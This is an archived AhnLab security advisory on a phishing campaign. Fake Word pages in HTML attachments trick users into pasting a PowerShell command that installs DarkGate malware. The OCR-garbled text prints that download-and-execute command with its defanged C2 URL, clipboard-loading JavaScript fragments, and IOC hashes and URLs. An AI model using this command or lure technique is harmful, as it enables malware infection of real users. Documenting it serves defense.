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Warning Against Phishing Emails Prompting Execution of
Commands via Paste (CTRL+V)
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Published: 2024-05-22 - Archived: 2026-04-06 00:05:16 UTC

AhnLab SEcurity intelligence Center (ASEC) recently discovered that phishing files are being distributed via
emails. The phishing files (HTML) attached to the emails prompt users to directly paste (CTRL+V) and run the

commands.

May-Year 2024 (Upto...

Ricky Presnell <info@bettersafelock.com> at1- iy |wed 5/15 christinelightfoot <lexisnexis@reviewnutritionanc st 0 5/2/2024
May-Year 2024 (Upto 13.05.2024) Musters. o RE: TT INSTRUCTIONS AND INDEMNITY #277 “
May_192534 html| . reports_817668.htm!
G 62 KB G otpo|E
Operational guidelines for review Good day_, The enclosed file includes a comprehensive catalog of stationery items
Included, you will find the operational guidelines for the recently imple=ented system. acquired for our department for the latter half of the vear. It's essential for our daily
Please examine and provide your recommendations. operations. Your prompt processing of this expense will guarantee we maintain an
adequate stock. Regards.

The threat actor sent emails about fee processing, operation instruction reviews, etc. to prompt recipients to open
the attachments. When a user opens the HTML file, a background and a message disguised as MS Word appear.

The message tells the user to click the “How to fix” button to view the Word document offline.

Page 1 of 5



https://asec.ahnlab.com/en/73952/

Create, edit and share Word documents. Work with others on
shared projects, in real-time:

‘The "Word online” extension is NOT installed in your browser. To view
the document offline, click the "How to fix" button.

| Press the key combination S8 + R and then CTRL + V, then press Enter |

Create, edit and share Word documents. Work with others on
shared projects, in real-time.

The "Word Online" extension is not installed in your browser. To view
the document offline, click the "How to fix" button.

1. Right-click the Start 8 button and run "Windows PowerShell" (Windows Terminal").
2_Right.ciick in the console window.
Wait for the operation to complete and reload the page.

Upon clicking “How to fix”, the file prompts the user to enter [Win+R] — [CTRL+V] — [Enter], or open the
PowerShell terminal and manually input the command. Simultaneously, the malicious PowerShell command (see

Figure 4) that is Base64-encoded by the JavaScript (see Figure 3) is decoded and saved into the user’s clipboard.

181 H] download.addEventListener("click", fonctian()

182 = {

183 var prompt = document.getElementById({"prompt™) ;
184 prompt.style.display = "klock":

185

186 var codelInput = document.getElementById{"code™) ;
187 codeInput.select ()

188 document . eXxecCommand {"copv"™) ;7

188 window.getSelection() .removeAllRanges ()

180 E by :

141

CENLEer ; LeXL—decoraclon: None;lfont-silze: 14pX;Cursor: polnier,border-radius:
5px;transition: background-color 0.38 ease;}.second-button:hover{background-color:
#elelel;}</stylex><title>

</titler</headr<body>»<audio id="myAndio"></audior<div class="modal" id="myModal"><diwv

var payload = atob(reverse(
L

After going through the process explained above, the malicious PowerShell script is executed (see Figure 5).
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Create, edit and share Word documents. Work with others on
shared projects, in real-time

The "Word online" extension is NOT installed in your browser. To view
the document offline, click the "How to fix" button

Press the key combination 28+ Rand then CTRL +V, then press Enter.

4 Run

=] Type the name of a program, folder, document, or Internet
&=/ resource, and Windows will open it for you.

cmd /c start /min powershell $IA =
‘c:WusersWpublic¥Yihta';invoke-webrequest -uri
hxxps://www.rockcreekdds[.Jcom/wp-content/1.hta -

-

Open: “cmd/c start /min powershell SIA = ‘c:\users\public\Yi.hi +

® This task will be created with administrative privileges.

outfile $IA;start-process $IA;Set-Clipboard -Value ' ';exit;

The PowerShell command downloads an HTA file from C2 and executes it. Additionally, it blanks out the

clipboard, seemingly to obscure the PowerShell command that has been executed. HTA executes the PowerShell

command in C2, and Autoit3.exe inside the ZIP file uses the compiled malicious Autoit script (script.a3x) as an

argument to be executed. The overall operation flow from the reception of the email to the infection is shown in

Figure 6.
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Ultimately, the DarkGate malware that starts with Autoit infects the system. Users must take extra caution when

handling files from unknown sources, especially the URLs and attachments of emails.

File Detection

Phishing/HTML.ClipBoard.SC199655 (2024.05.21.03)
Downloader/VBS.Generic.SC199642 (2024.05.21.00)
Downloader/VBS.Generic.SC199656 (2024.05.21.03)
Downloader/HTA.DarkGate.SC199621 (2024.05.16.02)
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Downloader/PowerShell.Generic (2024.05.21.00)
Downloader/PowerShell.Generic (2024.05.21.02)
Downloader/PowerShell.Generic (2024.05.21.03)
Trojan/AU3.Agent (2024.05.21.00)
Trojan/AU3.Agent (2024.05.21.03)
Trojan/AU3.Agent (2024.05.22.00)

Behavior Detection
Execution/MDP.Powershell. M2514

MD5

0b77babfa83bdb4443bb3c5f918545ae
30e2442555a4224bf15bbffae5e184ee
318f00b609039588ce5ace3bf1f8d05f
404bd47£17d482e139e64d0106b8888d
4b653886093a209c3d86cb43d507a53f
Additional IOCs are available on AhnLab TIP.
URL

http[:]//dogmupdate[.]Jcom/rdyjyany
http[:]//dogmupdate[.]com/yoomzhda
http[:]/flexiblemaria[.]Jcom/iinkgrwu
http[:]/flexiblemaria[.Jcom/umkglnks
http[:]//mylittlecabbage[.Jnet/ghsddxna
Additional IOCs are available on AhnLab TIP.

Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP. For subscription details, click

the banner below.
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Ahnlab TIP

Get Started with AhnLab's State-of-the-Art Threat Intelligence

atip.ahnlab.com

Source: https://asec.ahnlab.com/en/73952
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